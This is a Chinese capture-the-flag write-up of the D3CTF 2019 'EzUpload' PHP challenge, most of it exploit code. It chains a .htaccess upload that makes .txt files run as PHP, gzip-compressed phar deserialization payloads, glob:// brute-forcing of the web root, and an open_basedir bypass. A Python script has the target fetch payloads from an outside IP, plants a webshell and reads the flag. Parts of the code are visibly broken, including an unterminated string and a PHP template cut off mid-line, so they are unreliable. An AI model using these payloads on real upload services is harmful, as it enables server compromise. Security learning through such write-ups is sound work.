[D3CTF 2019]EzUpload gzip压缩phar .htaccess内容正则绕过 glob://爆破目录 绕过open_basedir

源码


class dir{
    public $userdir;
    public $url;
    public $filename;
    public function __construct($url,$filename) {
        $this->userdir = "upload/" . md5($_SERVER["HTTP_X_REAL_IP"]);
        $this->url = $url;
        $this->filename  =  $filename;
        if (!file_exists($this->userdir)) {
            mkdir($this->userdir, 0777, true);
        }
    }
    public function checkdir(){
        if ($this->userdir != "upload/" . md5($_SERVER["HTTP_X_REAL_IP"])) {
            die('hacker!!!');
        }
    }
    public function checkurl(){
        $r = parse_url($this->url);
        if (!isset($r['scheme']) || preg_match("/file|php/i",$r['scheme'])){
            die('hacker!!!');
        }
    }
    public function checkext(){
        if (stristr($this->filename,'..')){
            die('hacker!!!');
        }
        if (stristr($this->filename,'/')){
            die('hacker!!!');
        }
        $ext = substr($this->filename, strrpos($this->filename, ".") + 1);
        if (preg_match("/ph/i", $ext)){
            die('hacker!!!');
        }
    }
    public function upload(){
        $this->checkdir();
        $this->checkurl();
        $this->checkext();
        $content = file_get_contents($this->url,NULL,NULL,0,2048);
        if (preg_match("/\<\?|value|on|type|flag|auto|set|\\\\/i", $content)){
            die('hacker!!!');
        }
        file_put_contents($this->userdir."/".$this->filename,$content);
    }
    public function remove(){
        $this->checkdir();
        $this->checkext();
        if (file_exists($this->userdir."/".$this->filename)){
            unlink($this->userdir."/".$this->filename);
        }
    }
    public function count($dir) {
        if ($dir === ''){
            $num = count(scandir($this->userdir)) - 2;
        }
        else {
            $num = count(scandir($dir)) - 2;
        }
        if($num > 0) {
            return "you have $num files";
        }
        else{
            return "you don't have file";
        }
    }
    public function __toString() {
        return implode(" ",scandir(__DIR__."/".$this->userdir));
    }
    public function __destruct() {
        $string = "your file in : ".$this->userdir;
        file_put_contents($this->filename.".txt", $string);
        echo $string;
    }
}

if (!isset($_POST['action']) || !isset($_POST['url']) || !isset($_POST['filename'])){
    highlight_file(__FILE__);
    die();
}

$dir = new dir($_POST['url'],$_POST['filename']);
if($_POST['action'] === "upload") {
    $dir->upload();
}
elseif ($_POST['action'] === "remove") {
    $dir->remove();
}
elseif ($_POST['action'] === "count") {
    if (!isset($_POST['dir'])){
        echo $dir->count('');
    } else {
        echo $dir->count($_POST['dir']);
    }
}

考点一

$this->checkext()过滤了php后缀,有想到能上传.htaccess文件,但是代码:

if (preg_match("/\<\?|value|on|type|flag|auto|set|\\\\/i", $content)){
	die('hacker!!!');
}
AddHandler php7-script .txt

即可绕过过滤~~

考点二

[D3CTF 2019]EzUpload gzip压缩phar .htaccess内容正则绕过 glob://爆破目录 绕过open_basedir_第1张图片在魔法函数__destruct下的默认路径为系统根目录,而不是web的根目录,所以我们还要想办法获得我们上传文件的绝对路径~~

exp:


class dir{
    public $userdir;
    public $url;
    public $filename;
}
$d = new dir();
$d->userdir = new dir();
$d->userdir->userdir = "../";
echo urlencode(serialize($d));
$phar = new Phar("somnus2.phar");
$phar->startBuffering();
$phar->setStub("GIF89A"."__HALT_COMPILER();"); //设置stub,增加gif文件头用以欺骗检测
$phar->setMetadata($d); //将自定义meta-data存入manifest
$phar->addFromString("test.jpg", "test"); //添加要压缩的文件
$phar->stopBuffering();
?>

注意以下,这儿调用了两个dir(),第一个dir为第二个的$usedir,我们注意到,__destruct下面有一个$string = "your file in : ".$this->userdir;这样就能触发__tostring了,这样扫上一级的目录,获得上一级的文件~~

这儿我们需要使用gzip压缩以下phar文件,这样就能绕过内容的检测了~~

考点三

我们发序列化的点位于__destruct下面,会将目录写进一个txt文件,所以我们的exp如下



class dir{
    public $userdir;
    public $url;
    public $filename;

    public function __construct(){
	$this->filename = '/var/www/html/e9c8064bc8dac39b/upload/2c67ca1eaeadbdc1868d67003072b481/majian';
    $this->userdir = 'zzzzzzzzzzzzzzzzzzzz';
    
    $this->url = '1';
    }
}

$d = new dir();
echo urlencode(serialize($d));
$phar = new Phar("somnus3.phar");
$phar->startBuffering();
$phar->setStub("GIF89A"."__HALT_COMPILER();"); //设置stub,增加gif文件头用以欺骗检测
$phar->setMetadata($d); //将自定义meta-data存入manifest
$phar->addFromString("test.jpg", "test"); //添加要压缩的文件
$phar->stopBuffering();

?>

我们用gzip压缩的时候,刚好含有一些特殊字符,如\等,所以上面的exp中的字母z是我胡乱拼凑的,使得内容不包含正则的过滤的字符
源码中的checkdir()只是针对上传文件的,对我们的反序列化并没有影响~~

考点四

上传.htaccess

data:image/png;base64,QWRkSGFuZGxlciBwaHA3LXNjcmlwdCAudHh0

AddHandler php7-script .txt

考点五

绕过open_basedir

chdir('..');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));

官方解

我们上面介绍的包含一些非预期
官方的wp中使用的是scandir(glob://)来爆破目录

官方整体的exp

import requests
import os

with open('htaccess','w') as f:
    f.write('AddHandler php7-script .txt\n')
print('[*] your file htaccess is create')
os.popen('mv htaccess /var/www/html/1')

headers = {'User-Agent':'poc_from_lou00'}

url = 'http://127.0.0.1:8001/'

webroot=''
upload=''
for i in range (0,3):
    data = {
        'action':'upload',
        'url':'http://118.24.3.214/1',
        'filename': str(i)
    }
    r = requests.post(url,data=data,headers=headers)
    upload = r.text.split('upload/')[1]

print('[*] upload  is ' + upload)

temp = '1234567890abcdefghijklmnopqrstuvwxyz'
for j in range(16):
    for i in temp:
        data = {
            'action':'count',
            'url':'1',
            'filename':'1',
            'dir':'glob:///var/www/html/'+webroot + i+'*/upload/'+upload+'/*'
        }
        r = requests.post(url,data=data,headers=headers)
        if "don't" not in r.text:
            webroot += i
            print(webroot)
            break
print('[*] webroot is ' + webroot)

data = {
    'action':'upload',
    'url':'http://118.24.3.214/1',
    'filename': '.htaccess'
}
r = requests.post(url,data=data,headers=headers)

data = {
    'action':'upload',
    'url':'http://118.24.3.214/1',
    'filename': '
}
r = requests.post(url,data=data,headers=headers)
php = '''userdir = $usedir;
	$this->url = $url;
	$this->filename = $filename;
    }
}
$a = new dir('upload/%s','','');
$b = new dir($a,'','/var/www/html/%s/upload/%s/2');
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("__HALT_COMPILER();?>;");
$phar->setMetadata($b);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
echo urlencode(serialize($b));'''%(upload,webroot,upload)
with open('phar.php','w') as f:
    f.write(php)
print('[*] your file phar.php is create')
os.popen('php phar.php','r',1)
os.popen('mv phar.phar /var/www/html')
print('[*] your file phar.phar is create')

data = {
    'action':'upload',
    'url':'http://118.24.3.214/phar.phar',
    'filename': '1.jpg'
}
r = requests.post(url,data=data,headers=headers)
print('[*] your file phar.phar is upload')

data = {
    'action':'upload',
    'url':'phar://upload/'+upload+'/1.jpg',
    'filename': '2.jpg'
}
print('[*] shell is in upload/'+upload+'/2.txt')

r = requests.post(url,data=data,headers=headers)


r = requests.get(url+'upload/'+upload+'/2.txt?a=chdir(%27..%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);var_dump(file_get_contents(%27F1aG_1s_H4r4%27));',headers=headers)
print(r.text)

# os.popen('rm -rf /var/www/html/*')
# print('[*] your file is delate')

介绍以下官方的思路


class dir{
    public $userdir;
    public $url;
    public $filename;
    public function __construct($usedir,$url,$filename){
    $this->userdir = $usedir;
    $this->url = $url;
    $this->filename = $filename;
    }
}
$a = new dir('upload/{your_upload_path}','','');
$b = new dir($a,'','/var/www/html/xxx/upload/{your_upload_path}/2');
$phar = new Phar("phar.phar"); 
$phar->startBuffering();
$phar->setStub("__HALT_COMPILER();?>;"); 
$phar->setMetadata($b); 
$phar->addFromString("test.txt", "test"); 
$phar->stopBuffering();
echo urlencode(serialize($b));

我们之前是使用__tostring跳转目录,然后扫目录得到绝对路径,而出题人的意图是通过__tostring来写shell文件

首先是$b的第一个参数$userdir为一个类,所以类b在反序列化时,在__destruct

$string = "your file in : ".$this->userdir;

会直接返回类a的__tostring,而这个魔法函数返回的是目录下所有的文件名,然后在b类中写入文件,所以我们上传phar文件,触发反序列化之前,我们需要提前创建一个名称含shell的文件

action=upload&url=http://xxx&filename=

参考链接

官方wp
Somnus师傅

你可能感兴趣的:(BUUCTF刷题记录)